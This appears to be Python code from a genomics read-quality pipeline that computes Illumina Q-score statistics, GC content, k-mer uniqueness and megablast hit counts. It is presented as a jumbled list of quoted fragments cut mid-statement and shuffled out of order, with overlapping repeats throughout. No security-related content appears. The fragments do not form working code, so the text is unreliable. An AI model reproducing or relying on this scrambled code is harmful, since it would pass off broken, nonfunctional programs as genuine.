-v", "0 77098 0.00043 # 1 0 0.00000 # 2 0 0.00000 # 3", "33 34 34 29 36 6900 0 36 33.48 33 34 34 29", "1 # else: # q20 = pos # # else: # log.error(\"- qhist", "Q15_seen = 1 stats[15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer elif qavg <= 10", "0: Q10_seen = 1 statsPerc[10] = statsPerc[15] statsBase[10] = statsBase[15] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer", "% (qhistTxtFullPath)) return retCode \"\"\" Title : read_gc_mean Function : This function generates", "continue qavg = None nbase = None percent = None t = l.split()", "0 0.00000 # 5 0 0.00000 # 6 0 0.00000 if len(l) >", "'^#' %s 2>/dev/null | wc -l \" % (tophitFile), True, log) t =", "scores and plots of read level QC Usage : read_level_qual_stats($analysis, $) Args :", "statsPerc[5] = statsPerc[10] statsBase[5] = statsBase[10] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase if", "3 378701 2 34 12519460 33.06 33 34 34 1 32 34 104668", "reference to an JGI_Analysis object Returns : JGI_SUCCESS: JGI_FAILURE: Comments : \"\"\" def", "34 29 36 6900 0 36 33.48 33 34 34 29 36 pos", "add taxlist file ## taxListFound, _, exitCode = run_sh_command(\"ls %s\" % (taxlistFile), True,", "== 0 and Q20_seen != 0: Q15_seen = 1 statsPerc[15] = statsPerc[20] statsBase[15]", "Q20_seen = 0 Q15_seen = 0 Q10_seen = 0 Q5_seen = 0 if", "elif qavg <= 5 and Q5_seen == 0: Q5_seen = 1 stats[5] =", "very end of the illumina base level data processing script. \"\"\" def base_level_qual_stats(dataToRecordDict,", "os.path.join(currentDir, megablastDir) statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] ## ## Process blast output", "A reference to an JGI_Analysis object 2) current working folder wkdir/uniqueness Returns :", "= matchings.split() if len(t) == 1 and t[0].isdigit(): hitCount = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_MATCHING_HITS", "qavg > 20 and Q25_seen == 0: Q25_seen = 1 stats[25] = cummlatPer", "## ## Find and add tophit file ## tophitFound, _, exitCode = run_sh_command(\"ls", "uniqStartMerPer = float(\"%.2f\" % (float(t[1]))) uniqRandtMerPer = float(\"%.2f\" % (float(t[2]))) dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_SAMPLE_SIZE] = totalMers", "cummlatBase elif qavg == 25: Q25_seen = 1 statsPerc[25] = cummlatPer statsBase[25] =", "os.path.isfile(bqHist): with open(bqHist, \"r\") as qrptFH: for l in qrptFH: if l.startswith('#'): continue", "== 0: Q25_seen = 1 stats[25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer elif qavg", "sys.path.append(os.path.join(srcDir, 'tools')) ## ./tools sys.path.append(os.path.join(srcDir, '../lib')) ## rqc-pipeline/lib sys.path.append(os.path.join(srcDir, '../tools')) ## rqc-pipeline/tools from", "q20_score Function : this method returns Q20 using a qrpt file as input", "# 0 6900 0 36 33.48 33 34 34 29 36 6900 0", "# with open(qrpt, \"r\") as qrptFH: # for l in qrptFH: # num", "= pos else: log.error(\"- bqHist file not found: %s\" % (bqHist)) return None", "qavg <= 25 and qavg > 20 and Q25_seen == 0: Q25_seen =", "## matchings = 0 hitCount = 0 parsedFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed\" % (db))", "\"\"\" def base_level_qual_stats(dataToRecordDict, reformatObqhistFile, log): cummlatPer = 0 cummlatBase = 0 statsPerc =", "== 0: Q15_seen = 1 stats[15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer elif qavg", "os.path.dirname(__file__) sys.path.append(os.path.join(srcDir, 'tools')) ## ./tools sys.path.append(os.path.join(srcDir, '../lib')) ## rqc-pipeline/lib sys.path.append(os.path.join(srcDir, '../tools')) ## rqc-pipeline/tools", "level 20mer sampling Usage : read_level_mer_sampling($analysis, $summary_file_dir) Args : 1) A reference to", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase if Q10_seen == 0 and Q15_seen !=", "bbtools cummlatPer = cummlatPer + percent cummlatPer = float(\"%.2f\" % cummlatPer) if qavg", "Q3_2 LW_2 RW_2 # 0 6900 0 36 33.48 33 34 34 29", "378701 # ## 2 378701 2 34 6543224 17.28 15 16 26 11", "= cummlatPer if Q15_seen == 0 and Q20_seen != 0: Q15_seen = 1", "10768 12296 ... if os.path.isfile(dataFile): with open(dataFile, \"r\") as merFH: lines = merFH.readlines()", "\"\"\" def read_gc_mean(histFile, log): mean = 0.0 stdev = 0.0 retCode = RQCExitCodes.JGI_FAILURE", "not l: break if l.startswith('#'): continue t = l.split() assert len(t) == 3", "cummlatBase if Q30_seen == 0: log.error(\"Q30 is 0. Base quality values are ZERO.\")", "= cummlatBase if Q5_seen == 0 and Q10_seen != 0: Q5_seen = 1", "28 3 21 32 106904 84046 81795 105956 0 378701 # ## 2", "25:0, 20:0, 15:0, 10:0, 5:0} allLines = open(qhistTxtFullPath).readlines() for l in allLines[::-1]: if", "# ## 5 378701 2 37 13790443 36.42 37 37 37 0 37", "1 statsPerc[20] = cummlatPer statsBase[20] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase", "2 3 4 #25000 66.400 76.088 16600 19022 #50000 52.148 59.480 13037 14870", "scores and plots of read level QC Usage : base_level_qual_stats($analysis, $) Args :", "> 20 and Q25_seen == 0: Q25_seen = 1 stats[25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25]", "'../lib')) ## rqc-pipeline/lib sys.path.append(os.path.join(srcDir, '../tools')) ## rqc-pipeline/tools from readqc_constants import RQCReadQcConfig, ReadqcStats from", "37 37 0 37 37 96935 95322 83958 102440 46 378701 # ##", "top hits ## topHit = 0 tophitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.tophit\" % (db)) tophits,", "if tophitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOPHIT_FILE + \" \" + db, os.path.join(megablastPath, tophitFound), log) else:", "# #STDev_30 1.517 # #Quality bases fraction # 0 77098 0.00043 # 1", "+ db, os.path.join(megablastPath, tophitFound), log) else: log.error(\"- Failed to add megablast tophit file", "0: Q20_seen = 1 stats[20] = stats[25] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer if Q15_seen ==", "= RQCReadQcConfig.CFG[\"output_path\"] megablastDir = \"megablast\" megablastPath = os.path.join(currentDir, megablastDir) statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile", "-l \" % (taxlistFile), True, log) t = species.split() if len(t) == 1", "exitCode == 0: ## if parsed file found. t = matchings.split() if len(t)", "with open(qrpt, \"r\") as qrptFH: # for l in qrptFH: # num +=", "{30:0, 25:0, 20:0, 15:0, 10:0, 5:0} allLines = open(qhistTxtFullPath).readlines() for l in allLines[::-1]:", "12296 ... if os.path.isfile(dataFile): with open(dataFile, \"r\") as merFH: lines = merFH.readlines() ##", "Created: Jul 24 2013 sulsj (<EMAIL>) \"\"\" import os import sys ## custom", "1 and t[0].isdigit(): spe = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TAX_SPECIES + \" \" + db,", "= merFH.readlines() ## last line t = lines[-1].split('\\t') # breaks 2016-09-07 #assert len(t)", "37.823 ##STDev_30 1.699 ##Quality bases fraction #0 159 0.00008 #1 0 0.00000 #2", "Q20 score Comments : \"\"\" # def q20_score(qrpt, log): # log.debug(\"qrpt file %s\"", "21 32 106904 84046 81795 105956 0 378701 # ## 2 378701 2", "* 100.0 stdev = float(toks[8][:-1]) * 100.0 log.debug(\"mean, stdev = %.2f, %.2f\" %", "else: log.error(\"- Failed to add megablast tophit file of %s.\" % (db)) return", "\"\"\" Title : read_gc_mean Function : This function generates average GC content %", "QC Usage : base_level_qual_stats($analysis, $) Args : 1) A reference to an JGI_Analysis", "processing script. \"\"\" def base_level_qual_stats(dataToRecordDict, reformatObqhistFile, log): cummlatPer = 0 cummlatBase = 0", "log): cummlatPer = 0 cummlatBase = 0 statsPerc = {30:0, 25:0, 20:0, 15:0,", "med_1 Q3_1 LW_1 RW_1 count_2 min_2 max_2 mean_2 Q1_2 med_2 Q3_2 LW_2 RW_2", "Generate qual scores and plots of read level 20mer sampling Usage : read_level_mer_sampling($analysis,", "= cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase elif qavg == 20: Q20_seen", "% (db)) return RQCExitCodes.JGI_FAILURE ## ## Find and add top100hit file ## top100hitFound,", "= RQCExitCodes.JGI_FAILURE else: toks = line.split() assert len(toks) == 9 mean = float(toks[6][1:])", "statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] ## ## Process blast output files ##", "dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer if Q30_seen == 0: log.error(\"Q30 is 0 . Read quality", "104127 85 378701 # ## 2 378701 2 34 12515957 33.05 33 34", "Failed to add megablast parsed file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ##", "currentDir = RQCReadQcConfig.CFG[\"output_path\"] megablastDir = \"megablast\" megablastPath = os.path.join(currentDir, megablastDir) statsFile = RQCReadQcConfig.CFG[\"stats_file\"]", "record stat key-value in readqc-stats.txt ### JGI_Analysis_Utility_Illumina::illumina_read_level_report Created: Jul 24 2013 sulsj (<EMAIL>)", "83958 102440 46 378701 # ## 5 378701 2 37 13790443 36.42 37", "6900 0 36 33.48 33 34 34 29 36 pos = None mean", "reference to an JGI_Analysis object 2) current working folder wkdir/qual Returns : JGI_SUCCESS:", "0: if l.startswith(\"#\"): if l.startswith(\"#Mean_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_STD] = l.split('\\t')[1]", "36.46 37 37 37 0 37 37 96935 95322 83958 102440 46 378701", "10:0, 5:0} statsBase = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} Q30_seen = 0", "378701 2 34 12447306 32.87 31 34 34 3 27 34 108573 83917", "allLines[::-1]: l = l.strip() ## ## obqhist file format example ## # #Median", "cummlatPer if Q20_seen == 0 and Q25_seen != 0: Q20_seen = 1 stats[20]", "dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer if Q15_seen == 0 and Q20_seen != 0: Q15_seen =", "New format ##Median 38 ##Mean 37.061 ##STDev 4.631 ##Mean_30 37.823 ##STDev_30 1.699 ##Quality", "cummlatPer elif qavg <= 10 and qavg > 5 and Q10_seen == 0:", "= 0 taxlistFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.taxlist\" % (db)) species, _, exitCode = run_sh_command(\"grep", "108573 83917 81999 104127 85 378701 # ## 2 378701 2 34 12515957", "def read_gc_mean(histFile, log): mean = 0.0 stdev = 0.0 retCode = RQCExitCodes.JGI_FAILURE if", "intended to be called at the very end of the illumina base level", "percent: %s %s %s\" % (qavg, nbase, percent)) cummlatPer += percent * 100.0", "line)) retCode = RQCExitCodes.JGI_FAILURE else: toks = line.split() assert len(toks) == 9 mean", "2 34 96452 83003 107891 91355 0 378701 # ## 4 378701 2", "to be called at the very end of the illumina read level data", "and Q20_seen != 0: Q15_seen = 1 stats[15] = stats[20] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer", "dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q30] = cummlatPer elif qavg <= 25 and qavg > 20 and Q25_seen", "1 stats[5] = stats[10] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer if Q30_seen == 0: log.error(\"Q30 is", "= pos # # else: # log.error(\"- qhist file not found: %s\" %", "2>/dev/null | wc -l \" % (tophitFile), True, log) t = tophits.split() if", "2 0 0.00000 # 3 0 0.00000 # 4 0 0.00000 # 5", "+ \" \" + db, os.path.join(megablastPath, taxListFound), log) else: log.error(\"- Failed to add", "readqc-stats.txt ### JGI_Analysis_Utility_Illumina::illumina_read_level_report Created: Jul 24 2013 sulsj (<EMAIL>) \"\"\" import os import", "RQCReadQcConfig.CFG[\"files_file\"] \"\"\" Title : read_megablast_hits Function : This function generates tophit list of", "3 4 #25000 66.400 76.088 16600 19022 #50000 52.148 59.480 13037 14870 #75000", "10: Q10_seen = 1 statsPerc[10] = cummlatPer statsBase[10] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer", "9 10 11 12 13 14 15 16 17 18 ##BaseNum count_1 min_1", "100.0 ## 20140826 Changed for bbtools cummlatPer = cummlatPer + percent cummlatPer =", "\" % (tophitFile), True, log) t = tophits.split() if len(t) == 1 and", "the very end of the illumina read level data processing script. \"\"\" def", "## 1 378701 2 34 8875097 23.44 25 26 28 3 21 32", "exitCode = run_sh_command(\"ls %s\" % (tophitFile), True, log) tophitFound = tophitFound.strip() if tophitFound:", "= RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not found: %s\" % (qhistTxtFullPath)) return retCode", "Function : Generate qual scores and plots of read level 20mer sampling Usage", "= statsPerc[10] statsBase[5] = statsBase[10] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase if Q30_seen", "hit ## top100hits = 0 top100hitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.top100hit\" % (db)) species, _,", "percent * 100.0 cummlatPer = float(\"%.f\" % (cummlatPer)) if cummlatPer > 100: cummlatPer", "open(qhistTxtFullPath).readlines() for l in allLines[::-1]: if not l: break if l.startswith('#'): continue t", "## or # ## # ## READ2.qrpt # ## column count min max", "len(t) == 5 totalMers = int(t[0]) ## new by bbcountunique uniqStartMerPer = float(\"%.2f\"", "100: cummlatPer = 100.0 ## RQC-621 cummlatBase += nbase if qavg == 30:", "dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer elif qavg <= 15 and qavg > 10 and Q15_seen", "if Q20_seen == 0 and Q25_seen != 0: Q20_seen = 1 stats[20] =", "line t = lines[-1].split('\\t') # breaks 2016-09-07 #assert len(t) == 5 totalMers =", "#5 0 0.00000 #6 0 0.00000 allLines = open(reformatObqhistFile).readlines() for l in allLines[::-1]:", "%s\" % (histFile)) return retCode, mean, stdev if __name__ == \"__main__\": exit(0) ##", "deviation and put them into database. Usage : read_gc_mean($analysis) Args : 1) A", "= cummlatPer elif qavg <= 25 and qavg > 20 and Q25_seen ==", "= run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \" % (taxlistFile), True,", "add .parsed file ## parsedFileFound, _, exitCode = run_sh_command(\"ls %s\" % (parsedFile), True,", "%s 2>/dev/null | wc -l \" % (parsedFile), True, log) if exitCode ==", "retCode = RQCExitCodes.JGI_FAILURE if os.path.isfile(histFile): with open(histFile, \"r\") as histFH: line = histFH.readline()", "tophitFound, _, exitCode = run_sh_command(\"ls %s\" % (tophitFile), True, log) tophitFound = tophitFound.strip()", "3 21 32 106904 84046 81795 105956 0 378701 # ## 2 378701", "mean_2 Q1_2 med_2 Q3_2 LW_2 RW_2 # 0 6900 0 36 33.48 33", "26 11 2 34 107573 77148 97953 88998 7029 378701 # ## 3", "data #nSeq nStartUniMer fracStartUniMer nRandUniMer fracRandUniMer ## 0 1 2 3 4 ##25000", "1 stats[15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer elif qavg <= 10 and qavg", "and Q30_seen != 0: Q25_seen = 1 stats[25] = stats[30] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer", "= 0 hitCount = 0 parsedFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed\" % (db)) matchings, _,", "taxlist file ## taxListFound, _, exitCode = run_sh_command(\"ls %s\" % (taxlistFile), True, log)", "= 1 statsPerc[15] = cummlatPer statsBase[15] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] =", "db name or full path Returns : SUCCESS FAILURE Comments : \"\"\" def", "log.error(\"- Failed to add megablast tophit file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE", "top100hit file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE else: log.info(\"- No blast hits", "db, topHit, log) ## ## wc the taxonomic species ## spe = 0", "a number of Q20 score Comments : \"\"\" # def q20_score(qrpt, log): #", "open(dataFile, \"r\") as merFH: lines = merFH.readlines() ## last line t = lines[-1].split('\\t')", "Q5_seen = 1 statsPerc[5] = cummlatPer statsBase[5] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5]", "log) else: log.error(\"- Failed to add megablast parsed file of %s.\" % (db))", "level report could not be generated. Comments : This function is intended to", "end of the illumina read level data processing script. \"\"\" def read_level_mer_sampling(dataToRecordDict, dataFile,", "15:0, 10:0, 5:0} Q30_seen = 0 Q25_seen = 0 Q20_seen = 0 Q15_seen", "statsBase[5] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase ## Double check that", "= cummlatPer if Q20_seen == 0 and Q25_seen != 0: Q20_seen = 1", "True, log) taxListFound = taxListFound.strip() if taxListFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TAXLIST_FILE + \" \" +", "4 0 0.00000 # 5 0 0.00000 # 6 0 0.00000 if len(l)", "## 2 378701 2 34 12515957 33.05 33 34 34 1 32 34", "READ1.qrpt # ## column count min max sum mean Q1 med Q3 IQR", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase if Q5_seen == 0 and Q10_seen !=", "## ## Process blast output files ## matchings = 0 hitCount = 0", "ReadqcStats.ILLUMINA_READ_PARSED_FILE + \" \" + db, os.path.join(megablastPath, parsedFileFound), log) else: log.error(\"- Failed to", "= 0 ## New format ##Median 38 ##Mean 37.061 ##STDev 4.631 ##Mean_30 37.823", "# ## or # ## # ## READ2.qrpt # ## column count min", ": 1) A reference to an JGI_Analysis object 2) current working folder wkdir/qual", "= line.split() assert len(toks) == 9 mean = float(toks[6][1:]) * 100.0 stdev =", "%s, Q5 %s\" % \\ (stats[30], stats[25], stats[20], stats[15], stats[10], stats[5])) retCode =", "> 0: if l.startswith(\"#\"): if l.startswith(\"#Mean_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_STD] =", "## 5 378701 2 37 10208226 26.96 25 33 35 10 10 37", "# num = 0 # # if os.path.isfile(qrpt): # with open(qrpt, \"r\") as", "34 112178 83555 84449 98519 0 378701 # ## 3 378701 2 34", "== 0 and Q15_seen != 0: Q10_seen = 1 stats[10] = stats[15] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10]", "Q5_seen == 0 and Q10_seen != 0: Q5_seen = 1 statsPerc[5] = statsPerc[10]", "0: Q20_seen = 1 stats[20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer elif qavg <=", "(stats[30], stats[25], stats[20], stats[15], stats[10], stats[5])) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file", "# ## 3 378701 2 34 12519460 33.06 33 34 34 1 32", "add megablast taxlist file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## Find", "os.path.join(megablastPath, taxListFound), log) else: log.error(\"- Failed to add megablast taxlist file of %s.\"", "Q10_seen = 1 statsPerc[10] = statsPerc[15] statsBase[10] = statsBase[15] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10]", "= cummlatBase elif qavg == 5: Q5_seen = 1 statsPerc[5] = cummlatPer statsBase[5]", "12 13 14 15 16 17 18 ##BaseNum count_1 min_1 max_1 mean_1 Q1_1", "== 0: Q5_seen = 1 stats[5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer ### Double", "1 stats[5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer ### Double check that no value", "%.2f\" % (mean, stdev)) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- gc hist file not", "bqHist file not found: %s\" % (bqHist)) return None return q20 \"\"\" Title", "0 1 2 3 4 #25000 66.400 76.088 16600 19022 #50000 52.148 59.480", "statsPerc[15] statsBase[10] = statsBase[15] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase if Q5_seen ==", "q20 = pos else: log.error(\"- bqHist file not found: %s\" % (bqHist)) return", "line # Ex) #Found 1086 total values totalling 420.3971. <0.387106 +/- 0.112691> if", "0. Base quality values are ZERO.\") log.debug(\"Q and C values: %s\" % (dataToRecordDict))", "l.startswith(\"#STDev\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_STD] = l.split('\\t')[1] continue qavg = None nbase = None percent =", "$summary_file_dir) Args : 1) A reference to an JGI_Analysis object 2) current working", "JGI_SUCCESS: JGI_FAILURE: Comments : \"\"\" def read_gc_mean(histFile, log): mean = 0.0 stdev =", "| wc -l \" % (parsedFile), True, log) if exitCode == 0: ##", "RQC-621 cummlatBase += nbase if qavg == 30: Q30_seen = 1 statsPerc[30] =", "total values totalling 420.3971. <0.387106 +/- 0.112691> if len(line) == 0 or not", "0.00000 # 2 0 0.00000 # 3 0 0.00000 # 4 0 0.00000", "81795 105956 0 378701 # ## 2 378701 2 34 6543224 17.28 15", ": qrpt file. Returns : a number of Q20 score Comments : \"\"\"", ": SUCCESS FAILURE Comments : \"\"\" def read_megablast_hits(db, log): currentDir = RQCReadQcConfig.CFG[\"output_path\"] megablastDir", "Q20_seen != 0: Q15_seen = 1 stats[15] = stats[20] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer if", "blast output files ## matchings = 0 hitCount = 0 parsedFile = os.path.join(megablastPath,", "= os.path.join(megablastPath, \"megablast.*.%s*.parsed.top100hit\" % (db)) species, _, exitCode = run_sh_command(\"grep -v '^#' %s", "that no value is missing. if Q25_seen == 0 and Q30_seen != 0:", "else: log.error(\"- Failed to add megablast parsed file of %s.\" % (db)) return", "if mean < 20: # return pos - 1 # else: # q20", "%s.\" % (db)) return RQCExitCodes.JGI_FAILURE else: log.info(\"- No blast hits for %s.\" %", "taxListFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TAXLIST_FILE + \" \" + db, os.path.join(megablastPath, taxListFound), log) else: log.error(\"-", "104668 72341 80992 120700 0 378701 # ## 4 378701 2 37 13807944", "percent cummlatPer = float(\"%.2f\" % cummlatPer) if qavg <= 30 and qavg >", "if parsedFileFound: parsedFileFound = parsedFileFound.strip() append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_PARSED_FILE + \" \" + db, os.path.join(megablastPath,", "log.error(\"- gc hist file not found: %s\" % (histFile)) return retCode, mean, stdev", "Q20_seen != 0: Q15_seen = 1 statsPerc[15] = statsPerc[20] statsBase[15] = statsBase[20] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15]", "except IndexError: log.warn(\"parse error in base_level_qual_stats: %s %s %s %s\" % (l, qavg,", "allLines = open(qhistTxtFullPath).readlines() for l in allLines[::-1]: if not l: break if l.startswith('#'):", "and Q20_seen != 0: Q15_seen = 1 statsPerc[15] = statsPerc[20] statsBase[15] = statsBase[20]", "list of megablast against different databases. Usage : read_megablast_hits(db_name, log) Args : blast", "## rqc-pipeline/lib sys.path.append(os.path.join(srcDir, '../tools')) ## rqc-pipeline/tools from readqc_constants import RQCReadQcConfig, ReadqcStats from rqc_constants", "1: mean = float(t[4]) else: mean = float(t[13]) if mean and pos: if", "##Quality bases fraction #0 159 0.00008 #1 0 0.00000 #2 12175 0.00593 #3", "0 Q20_seen = 0 Q15_seen = 0 Q10_seen = 0 Q5_seen = 0", "assert len(t) > 6 # pos = int(t[0]) # mean = float(t[5]) #", "cummlatPer = float(\"%.2f\" % cummlatPer) if qavg <= 30 and qavg > 25", "Q25_seen = 1 statsPerc[25] = cummlatPer statsBase[25] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25]", "be called at the very end of the illumina read level data processing", "read level 20mer sampling Usage : read_level_mer_sampling($analysis, $summary_file_dir) Args : 1) A reference", "## Old data #nSeq nStartUniMer fracStartUniMer nRandUniMer fracRandUniMer ## 0 1 2 3", "= float(\"%.2f\" % (float(t[1]))) uniqRandtMerPer = float(\"%.2f\" % (float(t[2]))) dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_SAMPLE_SIZE] = totalMers dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_STARTING_MERS]", "34 29 36 pos = None mean = None t = l.split(\"\\t\") pos", "statsPerc[25] = statsPerc[30] statsBase[25] = statsBase[30] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase if", "= stats[10] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer if Q30_seen == 0: log.error(\"Q30 is 0 .", "if len(t) == 1 and t[0].isdigit(): topHit = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_HITS + \"", "cummlatPer statsBase[10] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase elif qavg ==", "log) taxListFound = taxListFound.strip() if taxListFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TAXLIST_FILE + \" \" + db,", "+ db, top100hits, log) ## ## Find and add taxlist file ## taxListFound,", "else: log.error(\"- gc hist file not found: %s\" % (histFile)) return retCode, mean,", "\" + db, os.path.join(megablastPath, top100hitFound), log) else: log.error(\"- Failed to add megablast top100hit", "score Comments : \"\"\" # def q20_score(qrpt, log): # log.debug(\"qrpt file %s\" %", "378701 # ## 2 378701 2 34 12515957 33.05 33 34 34 1", ": JGI_SUCCESS: Illumina read level report could be successfully generated. JGI_FAILURE: Illumina read", "= None if os.path.isfile(bqHist): with open(bqHist, \"r\") as qrptFH: for l in qrptFH:", "#6 0 0.00000 allLines = open(reformatObqhistFile).readlines() for l in allLines[::-1]: l = l.strip()", "statsBase[20] = statsBase[25] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase if Q15_seen == 0", "25 and Q30_seen == 0: Q30_seen = 1 stats[30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q30] =", "or # ## # ## READ2.qrpt # ## column count min max sum", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase elif qavg == 20: Q20_seen = 1", ": read_level_qual_stats($analysis, $) Args : 1) A reference to an JGI_Analysis object 2)", "20:0, 15:0, 10:0, 5:0} statsBase = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} Q30_seen", "\" \" + db, os.path.join(megablastPath, taxListFound), log) else: log.error(\"- Failed to add megablast", "its standard deviation and put them into database. Usage : read_gc_mean($analysis) Args :", "16 26 11 2 34 107573 77148 97953 88998 7029 378701 # ##", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C30] = cummlatBase elif qavg == 25: Q25_seen = 1 statsPerc[25]", "_, exitCode = run_sh_command(\"ls %s\" % (tophitFile), True, log) tophitFound = tophitFound.strip() if", "generates tophit list of megablast against different databases. Usage : read_megablast_hits(db_name, log) Args", "-v '^#' %s 2>/dev/null | wc -l \" % (parsedFile), True, log) if", "obqhist file format example ## # #Median 36 # #Mean 33.298 # #STDev", "-*- \"\"\" Readqc report: record stat key-value in readqc-stats.txt ### JGI_Analysis_Utility_Illumina::illumina_read_level_report Created: Jul", "= cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase elif qavg == 5: Q5_seen", "= l.split() assert len(t) == 3 qavg = int(t[0]) percent = float(t[2]) *", "= run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \" % (parsedFile), True,", "20: return pos - 1 else: q20 = pos else: log.error(\"- bqHist file", "## parsedFileFound, _, exitCode = run_sh_command(\"ls %s\" % (parsedFile), True, log) if parsedFileFound:", "wc -l \" % (taxlistFile), True, log) t = species.split() if len(t) ==", "= cummlatPer statsBase[25] = cummlatBase 